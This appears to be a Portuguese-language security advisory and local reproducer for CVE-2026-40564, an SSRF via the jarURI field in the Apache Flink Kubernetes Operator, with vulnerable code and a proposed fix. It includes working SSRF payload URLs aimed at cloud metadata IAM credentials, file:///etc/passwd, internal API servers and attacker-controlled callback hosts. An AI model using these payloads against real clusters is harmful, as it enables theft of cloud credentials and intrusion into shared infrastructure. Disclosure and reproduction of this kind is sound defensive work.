
CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.
O Apache Flink Kubernetes Operator não verifica o campo spec.job.jarURI nos recursos FlinkSessionJob (ou FlinkDeployment). Qualquer pessoa que possa criar um desses recursos pode definir jarURI para qualquer URL. Quando o operador reconcilia o recurso, ele busca essa URL de dentro do seu próprio pod. O esquema pode ser http, https, file ou qualquer um dos plugins de sistema de arquivos que o Flink fornece, então a requisição pode ir para quase qualquer lugar que o pod do operador consiga alcançar.
main (1.15-SNAPSHOT em 09-04-2026)[email protected] e [email protected] em 09-04-2026SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
Isso executa cinco etapas em ordem:
FlinkSessionJob cujo jarURI aponte para elaQuando funciona, o final da execução se parece com isso:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
A primeira execução leva cerca de 6 a 8 minutos. A maior parte disso é para baixar a imagem flink:1.17, que tem cerca de 700 MB. Execuções posteriores levam cerca de 3 minutos.
docker, kind, kubectl 1.23 ou mais novo, helm 3, make, curl e jq. O cluster precisa ter acesso à internet para se comunicar com o webhook.site.
Por padrão, o Makefile obtém uma URL nova do webhook.site para você. Para enviar a requisição para outro lugar, defina SSRF_URL com o jarURI completo que desejar. Ela é usada como está.
# reutilizar uma URL específica do webhook.site
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# seu próprio colaborador (Burp, interactsh, um listener netcat, etc.)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# o serviço de metadados da instância AWS
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# um esquema não http tratado pela camada de sistema de arquivos do Flink
make verify SSRF_URL=file:///etc/passwd
A forma como a verificação confirma o resultado depende do destino. Se a URL estiver no webhook.site, o Makefile lê sua API REST e exibe as requisições capturadas. Para qualquer outra coisa, ele lê o log do operador e procura pelo stack frame HttpArtifactFetcher.fetch, que indica que a busca foi executada. WEBHOOK_URL também funciona e significa a mesma coisa que SSRF_URL.
make cleanup
Isso remove o cluster kind. Nada fica para trás.
Três classes estão envolvidas, e nenhuma delas verifica o esquema, host ou IP em jarURI.
DefaultValidator.validateJobSpec verifica paralelismo, modo de atualização, configurações de savepoint e formato do recurso. Ele nunca lê job.getJarURI():
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch seleciona um buscador (fetcher) baseado no esquema. Não há lista de allow (allowlist), e qualquer coisa que não seja http ou https cai na camada de sistema de arquivos do Flink:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch abre a URL como fornecida. Não há verificação de host, nem de faixa de IP, e nada que o impeça de acessar endereços loopback ou link-local:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
O operador geralmente é executado com RBAC amplo. O chart oficial do Helm concede * em vários tipos de recurso, incluindo segredos, e o pod normalmente pode alcançar a rede sem restrições. Se você puder fazê-lo enviar requisições por você, poderá:
FlinkSessionJobEm um cluster compartilhado onde várias equipes usam o mesmo operador, qualquer uma delas pode usá-lo para alcançar os recursos de outra equipe.
O reprodutor usa como padrão o webhook.site, mas o bug não se importa com qual URL é. Defina SSRF_URL ou edite manifests/vulnerable-sessionjob.yaml para qualquer uma destas:
Adicione uma verificação em DefaultValidator.validateJobSpec:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI is not a valid URI: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI must include a scheme");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI host cannot be resolved");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI host points to a restricted address");
}
}
return Optional.empty();
}
Defina KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES com o padrão de Set.of("https"). Operadores que precisam de s3 ou outro esquema podem adicioná-lo.
Mais duas coisas que valem a pena fazer:
NetworkPolicy para o pod do operador que bloqueie egresso para link-local (169.254.0.0/16), loopback e os endereços conhecidos de metadados da nuvem.O Makefile contorna duas coisas que quebram o kind no Linux. Cada verificação só é executada quando o problema está realmente presente, então é seguro executar novamente.
/etc/resolv.conf do nó kind aponta para 127.0.0.1, então o cluster resolve nomes externos para localhost. A etapa cluster-up reescreve a configuração do CoreDNS para encaminhar para 1.1.1.1 e 8.8.8.8.ndots definido como 5, um nome como webhook.site recebe os domínios de busca do host adicionados primeiro, e alguns ISPs respondem com 127.0.0.1 para subdomínios que não reconhecem. A etapa install-operator dá ao pod do operador seu próprio dnsConfig para que isso não aconteça.Se uma execução completa falhar no meio, você pode executar make verify-ssrf sozinho. Ele lê o jarURI do FlinkSessionJob ativo, então não depende de nada salvo localmente.
jarURI |
|---|
| Alcança |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, as credenciais IAM do nó do pod do operador |
http://10.0.0.1:6443/api | Um apiserver dentro do cluster, ou qualquer endpoint interno que permita o IP do operador |
file:///etc/passwd | O próprio sistema de arquivos do pod do operador, através do ramo do buscador de sistema de arquivos |
s3://attacker-bucket/x.jar | S3, usando as credenciais do pod do operador |